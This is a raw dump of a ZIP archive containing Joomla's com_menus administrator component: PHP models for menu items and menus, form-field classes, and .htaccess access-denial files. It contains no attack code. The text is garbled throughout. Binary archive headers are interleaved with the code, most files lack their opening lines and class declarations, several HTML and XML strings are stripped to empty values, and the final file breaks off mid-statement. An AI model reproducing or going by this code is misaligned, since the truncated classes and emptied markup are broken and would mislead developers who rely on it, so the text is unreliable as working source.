$contexts An array of item contexts. * * @return mixed An array of new IDs on success, boolean false on failure. * * @since 1.6 */ protected function batchCopy($value, $pks, $contexts) { // $value comes as {menutype}.{parent_id} $parts = explode('.', $value); $menuType = $parts[0]; $parentId = (int) JArrayHelper::getValue($parts, 1, 0); $table = $this->getTable(); $db = $this->getDbo(); $query = $db->getQuery(true); $i = 0; // Check that the parent exists if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } } // If the parent is 0, set it to the ID of the root item in the tree if (empty($parentId)) { if (!$parentId = $table->getRootId()) { $this->setError($db->getErrorMsg()); return false; } } // Check that user has create permission for menus $user = JFactory::getUser(); if (!$user->authorise('core.create', 'com_menus')) { $this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE')); return false; } // We need to log the parent ID $parents = array(); // Calculate the emergency stop count as a precaution against a runaway loop bug $query->select('COUNT(id)'); $query->from($db->quoteName('#__menu')); $db->setQuery($query); $count = $db->loadResult(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } // Parent exists so we let's proceed while (!empty($pks) && $count > 0) { // Pop the first id off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Copy is a bit tricky, because we also need to copy the children $query->clear(); $query->select('id'); $query->from($db->quoteName('#__menu')); $query->where('lft > ' . (int) $table->lft); $query->where('rgt < ' . (int) $table->rgt); $db->setQuery($query); $childIds = $db->loadColumn(); // Add child ID's to the array only if they aren't already there. foreach ($childIds as $childId) { if (!in_array($childId, $pks)) { array_push($pks, $childId); } } // Make a copy of the old ID and Parent ID $oldId = $table->id; $oldParentId = $table->parent_id; // Reset the id because we are making a copy. $table->id = 0; // If we a copying children, the Old ID will turn up in the parents list // otherwise it's a new top level item $table->parent_id = isset($parents[$oldParentId]) ? $parents[$oldParentId] : $parentId; $table->menutype = $menuType; // Set the new location in the tree for the node. $table->setLocation($table->parent_id, 'last-child'); // TODO: Deal with ordering? //$table->ordering = 1; $table->level = null; $table->lft = null; $table->rgt = null; $table->home = 0; // Alter the title & alias list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; // Now we log the old 'parent' to the new 'parent' $parents[$oldId] = $table->id; $count--; } // Rebuild the hierarchy. if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } // Clean the cache $this->cleanCache(); return $newIds; } /** * Batch move menu items to a new menu or parent. * * @param integer $value The new menu or sub-item. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True on success. * * @since 1.6 */ protected function batchMove($value, $pks, $contexts) { // $value comes as {menutype}.{parent_id} $parts = explode('.', $value); $menuType = $parts[0]; $parentId = (int) JArrayHelper::getValue($parts, 1, 0); $table = $this->getTable(); $db = $this->getDbo(); $query = $db->getQuery(true); // Check that the parent exists. if ($parentId) { if (!$table->load($parentId)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Non-fatal error $this->setError(JText::_('JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND')); $parentId = 0; } } } // Check that user has create and edit permission for menus $user = JFactory::getUser(); if (!$user->authorise('core.create', 'com_menus')) { $this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_CREATE')); return false; } if (!$user->authorise('core.edit', 'com_menus')) { $this->setError(JText::_('COM_MENUS_BATCH_MENU_ITEM_CANNOT_EDIT')); return false; } // We are going to store all the children and just moved the menutype $children = array(); // Parent exists so we let's proceed foreach ($pks as $pk) { // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JGLOBAL_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Set the new location in the tree for the node. $table->setLocation($parentId, 'last-child'); // Set the new Parent Id $table->parent_id = $parentId; // Check if we are moving to a different menu if ($menuType != $table->menutype) { // Add the child node ids to the children array. $query->clear(); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__menu')); $query->where($db->quoteName('lft') .' BETWEEN ' . (int) $table->lft . ' AND ' . (int) $table->rgt); $db->setQuery($query); $children = array_merge($children, (array) $db->loadColumn()); } // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath()) { $this->setError($table->getError()); return false; } } // Process the child rows if (!empty($children)) { // Remove any duplicates and sanitize ids. $children = array_unique($children); JArrayHelper::toInteger($children); // Update the menutype field in all nodes where necessary. $query->clear(); $query->update($db->quoteName('#__menu')); $query->set($db->quoteName('menutype') . ' = ' . $db->quote($menuType)); $query->where($db->quoteName('id') . ' IN (' . implode(',', $children) . ')'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Method to check if you can save a record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function canSave($data = array(), $key = 'id') { return JFactory::getUser()->authorise('core.edit', $this->option); } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // The folder and element vars are passed when saving the form. if (empty($data)) { $item = $this->getItem(); $this->setState('item.link', $item->link); // The type should already be set. } else { $this->setState('item.link', JArrayHelper::getValue($data, 'link')); $this->setState('item.type', JArrayHelper::getValue($data, 'type')); } // Get the form. $form = $this->loadForm('com_menus.item', 'item', array('control' => 'jform', 'load_data' => $loadData), true); if (empty($form)) { return false; } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('menuordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is an article you can edit. $form->setFieldAttribute('menuordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. return array_merge((array)$this->getItem(), (array)JFactory::getApplication()->getUserState('com_menus.edit.item.data', array())); } /** * Get the necessary data to load an item help screen. * * @return object An object with key, url, and local properties for loading the item help screen. * @since 1.6 */ public function getHelp() { return (object) array('key' => $this->helpKey, 'url' => $this->helpURL, 'local' => $this->helpLocal); } /** * Method to get a menu item. * * @param integer $pk An optional id of the object to get, otherwise the id from the model state is used. * * @return mixed Menu item data object on success, false on failure. * @since 1.6 */ public function getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int)$this->getState('item.id'); // Get a level row instance. $table = $this->getTable(); // Attempt to load the row. $table->load($pk); // Check for a table object error. if ($error = $table->getError()) { $this->setError($error); $false = false; return $false; } // Prime required properties. if ($type = $this->getState('item.type')) { $table->type = $type; } if (empty($table->id)) { $table->parent_id = $this->getState('item.parent_id'); $table->menutype = $this->getState('item.menutype'); $table->params = '{}'; } // If the link has been set in the state, possibly changing link type. if ($link = $this->getState('item.link')) { // Check if we are changing away from the actual link type. if (MenusHelper::getLinkKey($table->link) != MenusHelper::getLinkKey($link)) { $table->link = $link; } } switch ($table->type) { case 'alias': $table->component_id = 0; $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); break; case 'separator': $table->link = ''; $table->component_id = 0; break; case 'url': $table->component_id = 0; parse_str(parse_url($table->link, PHP_URL_QUERY)); break; case 'component': default: // Enforce a valid type. $table->type = 'component'; // Ensure the integrity of the component_id field is maintained, particularly when changing the menu item type. $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); if (isset($args['option'])) { // Load the language file for the component. $lang = JFactory::getLanguage(); $lang->load($args['option'], JPATH_ADMINISTRATOR, null, false, true) || $lang->load($args['option'], JPATH_ADMINISTRATOR . '/components/' . $args['option'], null, false, true); // Determine the component id. $component = JComponentHelper::getComponent($args['option']); if (isset($component->id)) { $table->component_id = $component->id; } } break; } // We have a valid type, inject it into the state for forms to use. $this->setState('item.type', $table->type); // Convert to the JObject before adding the params. $properties = $table->getProperties(1); $result = JArrayHelper::toObject($properties, 'JObject'); // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($table->params); $result->params = $registry->toArray(); // Merge the request arguments in to the params for a component. if ($table->type == 'component') { // Note that all request arguments become reserved parameter names. $result->request = $args; $result->params = array_merge($result->params, $args); } if ($table->type == 'alias') { // Note that all request arguments become reserved parameter names. $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); $result->params = array_merge($result->params, $args); } if ($table->type == 'url') { // Note that all request arguments become reserved parameter names. $args = array(); parse_str(parse_url($table->link, PHP_URL_QUERY), $args); $result->params = array_merge($result->params, $args); } // Load associated menu items if (JFactory::getApplication()->get('menu_associations', 0)) { if ($pk != null) { $result->associations = MenusHelper::getAssociations($pk); } else { $result->associations = array(); } } $result->menuordering = $pk; return $result; } /** * Get the list of modules not in trash. * * @return mixed An array of module records (id, title, position), or false on error. * @since 1.6 */ public function getModules() { $db = $this->getDbo(); $query = $db->getQuery(true); // Join on the module-to-menu mapping table. // We are only interested if the module is displayed on ALL or THIS menu item (or the inverse ID number). //sqlsrv changes for modulelink to menu manager $query->select('a.id, a.title, a.position, a.published, map.menuid'); $query->from('#__modules AS a'); $query->join('LEFT', sprintf('#__modules_menu AS map ON map.moduleid = a.id AND map.menuid IN (0, %1$d, -%1$d)', $this->getState('item.id'))); $query->select('(SELECT COUNT(*) FROM #__modules_menu WHERE moduleid = a.id AND menuid < 0) AS ' . $db->qn('except')); // Join on the asset groups table. $query->select('ag.title AS access_title'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); $query->where('a.published >= 0'); $query->where('a.client_id = 0'); $query->order('a.position, a.ordering'); $db->setQuery($query); $result = $db->loadObjectList(); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } return $result; } /** * A protected method to get the where clause for the reorder * This ensures that the row will be moved relative to a row with the same menutype * * @param JTableMenu $table instance * * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { return 'menutype = ' . $this->_db->Quote($table->menutype); } /** * Returns a Table object, always creating it * * @param type $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Menu', $prefix = 'MenusTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * @since 1.6 */ protected function populateState() { $app = JFactory::getApplication('administrator'); // Load the User state. $pk = (int) JRequest::getInt('id'); $this->setState('item.id', $pk); if (!($parentId = $app->getUserState('com_menus.edit.item.parent_id'))) { $parentId = JRequest::getInt('parent_id'); } $this->setState('item.parent_id', $parentId); $menuType = $app->getUserState('com_menus.edit.item.menutype'); if (JRequest::getCmd('menutype', false)) { $menuType = JRequest::getCmd('menutype', 'mainmenu'); } $this->setState('item.menutype', $menuType); if (!($type = $app->getUserState('com_menus.edit.item.type'))){ $type = JRequest::getCmd('type'); // Note a new menu item will have no field type. // The field is required so the user has to change it. } $this->setState('item.type', $type); if ($link = $app->getUserState('com_menus.edit.item.link')) { $this->setState('item.link', $link); } // Load the parameters. $params = JComponentHelper::getParams('com_menus'); $this->setState('params', $params); } /** * @param object $form A form object. * @param mixed $data The data expected for the form. * * @return void * @since 1.6 * @throws Exception if there is an error in the form event. */ protected function preprocessForm(JForm $form, $data, $group = 'content') { // Initialise variables. $link = $this->getState('item.link'); $type = $this->getState('item.type'); $formFile = false; // Initialise form with component view params if available. if ($type == 'component') { $link = htmlspecialchars_decode($link); // Parse the link arguments. $args = array(); parse_str(parse_url(htmlspecialchars_decode($link), PHP_URL_QUERY), $args); // Confirm that the option is defined. $option = ''; $base = ''; if (isset($args['option'])) { // The option determines the base path to work with. $option = $args['option']; $base = JPATH_SITE.'/components/'.$option; } // Confirm a view is defined. $formFile = false; if (isset($args['view'])) { $view = $args['view']; // Determine the layout to search for. if (isset($args['layout'])) { $layout = $args['layout']; } else { $layout = 'default'; } $formFile = false; // Check for the layout XML file. Use standard xml file if it exists. $path = JPath::clean($base.'/views/'.$view.'/tmpl/'.$layout.'.xml'); if (JFile::exists($path)) { $formFile = $path; } // if custom layout, get the xml file from the template folder // template folder is first part of file name -- template:folder if (!$formFile && (strpos($layout, ':') > 0 )) { $temp = explode(':', $layout); $templatePath = JPATH::clean(JPATH_SITE.'/templates/'.$temp[0].'/html/'.$option.'/'.$view.'/'.$temp[1].'.xml'); if (JFile::exists($templatePath)) { $formFile = $templatePath; } } } //Now check for a view manifest file if (!$formFile) { if (isset($view) && JFile::exists($path = JPath::clean($base.'/views/'.$view.'/metadata.xml'))) { $formFile = $path; } else { //Now check for a component manifest file $path = JPath::clean($base.'/metadata.xml'); if (JFile::exists($path)) { $formFile = $path; } } } } if ($formFile) { // If an XML file was found in the component, load it first. // We need to qualify the full path to avoid collisions with component file names. if ($form->loadFile($formFile, true, '/metadata') == false) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/metadata/layout/help'); } else { // We don't have a component. Load the form XML to get the help path $xmlFile = JPath::find(JPATH_ROOT . '/administrator/components/com_menus/models/forms', 'item_' . $type . '.xml'); // Attempt to load the xml file. if ($xmlFile && !$xml = simplexml_load_file($xmlFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/form/help'); } if (!empty($help)) { $helpKey = trim((string) $help[0]['key']); $helpURL = trim((string) $help[0]['url']); $helpLoc = trim((string) $help[0]['local']); $this->helpKey = $helpKey ? $helpKey : $this->helpKey; $this->helpURL = $helpURL ? $helpURL : $this->helpURL; $this->helpLocal = (($helpLoc == 'true') || ($helpLoc == '1') || ($helpLoc == 'local')) ? true : false; } // Now load the component params. // TODO: Work out why 'fixing' this breaks JForm if ($isNew = false) { $path = JPath::clean(JPATH_ADMINISTRATOR.'/components/'.$option.'/config.xml'); } else { $path='null'; } if (JFile::exists($path)) { // Add the component params last of all to the existing form. if (!$form->load($path, true, '/config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Load the specific type file if (!$form->loadFile('item_'.$type, false, false)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Association menu items if (JFactory::getApplication()->get('menu_associations', 0)) { $languages = JLanguageHelper::getLanguages('lang_code'); $addform = new JXMLElement('
      '); $fields = $addform->addChild('fields'); $fields->addAttribute('name', 'associations'); $fieldset = $fields->addChild('fieldset'); $fieldset->addAttribute('name', 'item_associations'); $fieldset->addAttribute('description', 'COM_MENUS_ITEM_ASSOCIATIONS_FIELDSET_DESC'); $add = false; foreach ($languages as $tag => $language) { if ($tag != $data['language']) { $add = true; $field = $fieldset->addChild('field'); $field->addAttribute('name', $tag); $field->addAttribute('type', 'menuitem'); $field->addAttribute('language', $tag); $field->addAttribute('label', $language->title); $field->addAttribute('translate_label', 'false'); $option = $field->addChild('option', 'COM_MENUS_ITEM_FIELD_ASSOCIATION_NO_VALUE'); $option->addAttribute('value', ''); } } if ($add) { $form->load($addform, false); } } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * Method rebuild the entire nested set tree. * * @return boolean False on failure or error, true otherwise. * @since 1.6 */ public function rebuild() { // Initialiase variables. $db = $this->getDbo(); $table = $this->getTable(); if (!$table->rebuild()) { $this->setError($table->getError()); return false; } // Convert the parameters not in JSON format. $db->setQuery( 'SELECT id, params' . ' FROM #__menu' . ' WHERE params NOT LIKE '.$db->quote('{%') . ' AND params <> '.$db->quote('') ); $items = $db->loadObjectList(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } foreach ($items as &$item) { $registry = new JRegistry; $registry->loadString($item->params); $params = (string)$registry; $db->setQuery( 'UPDATE #__menu' . ' SET params = '.$db->quote($params). ' WHERE id = '.(int) $item->id ); if (!$db->query()) { $this->setError($error); return false; } unset($registry); } // Clean the cache $this->cleanCache(); return true; } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * @since 1.6 */ public function save($data) { // Initialise variables. $pk = (!empty($data['id'])) ? $data['id'] : (int)$this->getState('item.id'); $isNew = true; $db = $this->getDbo(); $table = $this->getTable(); // Load the row if saving an existing item. if ($pk > 0) { $table->load($pk); $isNew = false; } if (!$isNew && $table->menutype == $data['menutype']) { if ($table->parent_id == $data['parent_id'] ) { // If first is chosen make the item the first child of the selected parent. if ($data['menuordering'] == -1) { $table->setLocation($data['parent_id'], 'first-child'); } // If last is chosen make it the last child of the selected parent. elseif ($data['menuordering'] == -2) { $table->setLocation($data['parent_id'], 'last-child'); } // Don't try to put an item after itself. All other ones put after the selected item. // $data['id'] is empty means it's a save as copy elseif ($data['menuordering'] && $table->id != $data['menuordering'] || empty($data['id'])) { $table->setLocation($data['menuordering'], 'after'); } // Just leave it where it is if no change is made. elseif ( $data['menuordering'] && $table->id == $data['menuordering']) { unset( $data['menuordering']); } } // Set the new parent id if parent id not matched and put in last position else { $table->setLocation($data['parent_id'], 'last-child'); } } // We have a new item, so it is not a change. elseif ($isNew) { $table->setLocation($data['parent_id'], 'last-child'); } // The menu type has changed so we need to just put this at the bottom // of the root level. else { $table->setLocation(1, 'last-child'); } // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Alter the title & alias for save as copy. Also, unset the home record. if(!$isNew && $data['id'] == 0){ list($title, $alias) = $this->generateNewTitle($table->parent_id, $table->alias, $table->title); $table->title = $title; $table->alias = $alias; $table->home = 0; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // Rebuild the tree path. if (!$table->rebuildPath($table->id)) { $this->setError($table->getError()); return false; } $this->setState('item.id', $table->id); $this->setState('item.menutype', $table->menutype); // Load associated menu items if (JFactory::getApplication()->get('menu_associations', 0)) { // Adding self to the association $associations = $data['associations']; foreach ($associations as $tag=>$id) { if (empty($id)) { unset($associations[$tag]); } } // Detecting all item menus $all_language = $table->language == '*'; if ($all_language && !empty($associations)) { JError::raiseNotice(403, JText::_('COM_MENUS_ERROR_ALL_LANGUAGE_ASSOCIATED')); } $associations[$table->language]=$table->id; // Deleting old association for these items $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete('#__associations'); $query->where('context='.$db->quote('com_menus.item')); $query->where('id IN ('.implode(',', $associations).')'); $db->setQuery($query); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } if (!$all_language && count($associations)>1) { // Adding new association for these items $key = md5(json_encode($associations)); $query->clear(); $query->insert('#__associations'); foreach ($associations as $tag=>$id) { $query->values($id.','.$db->quote('com_menus.item').','.$db->quote($key)); } $db->setQuery($query); $db->query(); if ($error = $db->getErrorMsg()) { $this->setError($error); return false; } } } // Clean the cache $this->cleanCache(); if (isset($data['link'])) { $base = JURI::base(); $juri = JURI::getInstance($base.$data['link']); $option = $juri->getVar('option'); // Clean the cache parent::cleanCache($option); } return true; } /** * Method to save the reordered nested set tree. * First we save the new order values in the lft values of the changed ids. * Then we invoke the table rebuild to implement the new ordering. * * @param array $idArray id's of rows to be reordered * @param array $lft_array lft values of rows to be reordered * * @return boolean false on failuer or error, true otherwise * @since 1.6 */ public function saveorder($idArray = null, $lft_array = null) { // Get an instance of the table object. $table = $this->getTable(); if (!$table->saveorder($idArray, $lft_array)) { $this->setError($table->getError()); return false; } // Clean the cache $this->cleanCache(); return true; } /** * Method to change the home state of one or more items. * * @param array $pks A list of the primary keys to change. * @param int $value The value of the home state. * * @return boolean True on success. * @since 1.6 */ function setHome(&$pks, $value = 1) { // Initialise variables. $table = $this->getTable(); $pks = (array) $pks; $user = JFactory::getUser(); $languages = array(); $onehome = false; // Remember that we can set a home page for different languages, // so we need to loop through the primary key array. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if (!array_key_exists($table->language, $languages)) { $languages[$table->language] = true; if ($table->home == $value) { unset($pks[$i]); JError::raiseNotice(403, JText::_('COM_MENUS_ERROR_ALREADY_HOME')); } else { $table->home = $value; if ($table->language == '*') { $table->published = 1; } if (!$this->canSave($table)) { // Prune items that you can't change. unset($pks[$i]); JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED')); } elseif (!$table->check()) { // Prune the items that failed pre-save checks. unset($pks[$i]); JError::raiseWarning(403, $table->getError()); } elseif (!$table->store()) { // Prune the items that could not be stored. unset($pks[$i]); JError::raiseWarning(403, $table->getError()); } } } else { unset($pks[$i]); if (!$onehome) { $onehome = true; JError::raiseNotice(403, JText::sprintf('COM_MENUS_ERROR_ONE_HOME')); } } } } // Clean the cache $this->cleanCache(); return true; } /** * Method to change the published state of one or more records. * * @param array $pks A list of the primary keys to change. * @param int $value The value of the published state. * * @return boolean True on success. * @since 1.6 */ function publish(&$pks, $value = 1) { // Initialise variables. $table = $this->getTable(); $pks = (array) $pks; // Default menu item existence checks. if ($value != 1) { foreach ($pks as $i => $pk) { if ($table->load($pk) && $table->home && $table->language == '*') { // Prune items that you can't change. JError::raiseWarning(403, JText::_('JLIB_DATABASE_ERROR_MENU_UNPUBLISH_DEFAULT_HOME')); unset($pks[$i]); break; } } } // Clean the cache $this->cleanCache(); return parent::publish($pks, $value); } /** * Method to change the title & alias. * * @param integer $parent_id The id of the parent. * @param string $alias The alias. * @param string $title The title. * * @return array Contains the modified title and alias. * * @since 1.6 */ protected function generateNewTitle($parent_id, $alias, $title) { // Alter the title & alias $table = $this->getTable(); while ($table->load(array('alias' => $alias, 'parent_id' => $parent_id))) { if ($title == $table->title) { $title = JString::increment($title); } $alias = JString::increment($alias, 'dash'); } return array($title, $alias); } /** * Custom clean cache method * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_modules'); parent::cleanCache('mod_menu'); } } PKs>\xl  com_menus/models/menus.phpnuW+AgetStoreId('getItems'); // Try to load the data from internal storage. if (!empty($this->cache[$store])) { return $this->cache[$store]; } // Load the list items. $items = parent::getItems(); // If emtpy or an error, just return. if (empty($items)) { return array(); } // Getting the following metric by joins is WAY TOO SLOW. // Faster to do three queries for very large menu trees. // Get the menu types of menus in the list. $db = $this->getDbo(); $menuTypes = JArrayHelper::getColumn($items, 'menutype'); // Quote the strings. $menuTypes = implode( ',', array_map(array($db, 'quote'), $menuTypes) ); // Get the published menu counts. $query = $db->getQuery(true) ->select('m.menutype, COUNT(DISTINCT m.id) AS count_published') ->from('#__menu AS m') ->where('m.published = 1') ->where('m.menutype IN ('.$menuTypes.')') ->group('m.menutype') ; $db->setQuery($query); $countPublished = $db->loadAssocList('menutype', 'count_published'); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } // Get the unpublished menu counts. $query->clear('where') ->where('m.published = 0') ->where('m.menutype IN ('.$menuTypes.')'); $db->setQuery($query); $countUnpublished = $db->loadAssocList('menutype', 'count_published'); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } // Get the trashed menu counts. $query->clear('where') ->where('m.published = -2') ->where('m.menutype IN ('.$menuTypes.')'); $db->setQuery($query); $countTrashed = $db->loadAssocList('menutype', 'count_published'); if ($db->getErrorNum()) { $this->setError($db->getErrorMsg()); return false; } // Inject the values back into the array. foreach ($items as $item) { $item->count_published = isset($countPublished[$item->menutype]) ? $countPublished[$item->menutype] : 0; $item->count_unpublished = isset($countUnpublished[$item->menutype]) ? $countUnpublished[$item->menutype] : 0; $item->count_trashed = isset($countTrashed[$item->menutype]) ? $countTrashed[$item->menutype] : 0; } // Add the items to the internal cache. $this->cache[$store] = $items; return $this->cache[$store]; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select all fields from the table. $query->select($this->getState('list.select', 'a.*')); $query->from($db->quoteName('#__menu_types').' AS a'); $query->group('a.id, a.menutype, a.title, a.description'); // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.id')).' '.$db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { // Initialise variables. $app = JFactory::getApplication('administrator'); // List state information. parent::populateState('a.id', 'asc'); } /** * Gets the extension id of the core mod_menu module. * * @return integer * * @since 2.5 */ public function getModMenuId() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('e.extension_id') ->from('#__extensions AS e') ->where('e.type = ' . $db->quote('module')) ->where('e.element = ' . $db->quote('mod_menu')) ->where('e.client_id = 0'); $db->setQuery($query); return $db->loadResult(); } /** * Gets a list of all mod_mainmenu modules and collates them by menutype * * @return array */ public function &getModules() { $model = JModelLegacy::getInstance('Menu', 'MenusModel', array('ignore_request' => true)); $result = &$model->getModules(); return $result; } } PKs>\V"com_menus/models/fields/index.htmlnuW+A PKs>\)!com_menus/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\ Xׯ$com_menus/models/fields/menutype.phpnuW+Aform->getValue('id'); $size = ($v = $this->element['size']) ? ' size="'.$v.'"' : ''; $class = ($v = $this->element['class']) ? ' class="'.$v.'"' : 'class="text_area"'; // Get a reverse lookup of the base link URL to Title $model = JModelLegacy::getInstance('menutypes', 'menusModel'); $rlu = $model->getReverseLookup(); switch ($this->value) { case 'url': $value = JText::_('COM_MENUS_TYPE_EXTERNAL_URL'); break; case 'alias': $value = JText::_('COM_MENUS_TYPE_ALIAS'); break; case 'separator': $value = JText::_('COM_MENUS_TYPE_SEPARATOR'); break; default: $link = $this->form->getValue('link'); // Clean the link back to the option, view and layout $value = JText::_(JArrayHelper::getValue($rlu, MenusHelper::getLinkKey($link))); break; } // Load the javascript and css JHtml::_('behavior.framework'); JHtml::_('behavior.modal'); $html[] = ''; $html[] = ''; $html[] = ''; return implode("\n", $html); } } PKs>\7췈  (com_menus/models/fields/menuordering.phpnuW+Aform->getValue('parent_id', 0); if ( empty($parent_id)) { return false; } $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text'); $query->from('#__menu AS a'); $query->where('a.published >= 0'); $query->where('a.parent_id =' . (int) $parent_id); if ($menuType = $this->form->getValue('menutype')) { $query->where('a.menutype = '.$db->quote($menuType)); } else { $query->where('a.menutype != '.$db->quote('')); } $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } $options = array_merge( array(array ('value' =>'-1', 'text'=>JText::_('COM_MENUS_ITEM_FIELD_ORDERING_VALUE_FIRST'))), $options, array(array( 'value' =>'-2', 'text'=>JText::_('COM_MENUS_ITEM_FIELD_ORDERING_VALUE_LAST'))) ); // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } /** * Method to get the field input markup * * @return string The field input markup. * @since 1.7 */ protected function getInput() { if ($this->form->getValue('id', 0) == 0) { return '' . JText::_('COM_MENUS_ITEM_FIELD_ORDERING_TEXT') . ''; } else { return parent::getInput(); } } } PKs>\1sEE&com_menus/models/fields/menuparent.phpnuW+AgetQuery(true); $query->select('a.id AS value, a.title AS text, a.level'); $query->from('#__menu AS a'); $query->join('LEFT', $db->quoteName('#__menu').' AS b ON a.lft > b.lft AND a.rgt < b.rgt'); if ($menuType = $this->form->getValue('menutype')) { $query->where('a.menutype = '.$db->quote($menuType)); } else { $query->where('a.menutype != '.$db->quote('')); } // Prevent parenting to children of this item. if ($id = $this->form->getValue('id')) { $query->join('LEFT', $db->quoteName('#__menu').' AS p ON p.id = '.(int) $id); $query->where('NOT(a.lft >= p.lft AND a.rgt <= p.rgt)'); } $query->where('a.published != -2'); $query->group('a.id, a.title, a.level, a.lft, a.rgt, a.menutype, a.parent_id, a.published'); $query->order('a.lft ASC'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Pad the option text with spaces using depth level as a multiplier. for ($i = 0, $n = count($options); $i < $n; $i++) { $options[$i]->text = str_repeat('- ', $options[$i]->level).$options[$i]->text; } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PKs>\)com_menus/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\) com_menus/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\+/lR com_menus/helpers/html/menus.phpnuW+AgetQuery(true); $query->select('m.*'); $query->select('mt.title as menu_title'); $query->from('#__menu as m'); $query->leftJoin('#__menu_types as mt ON mt.menutype=m.menutype'); $query->where('m.id IN ('.implode(',', 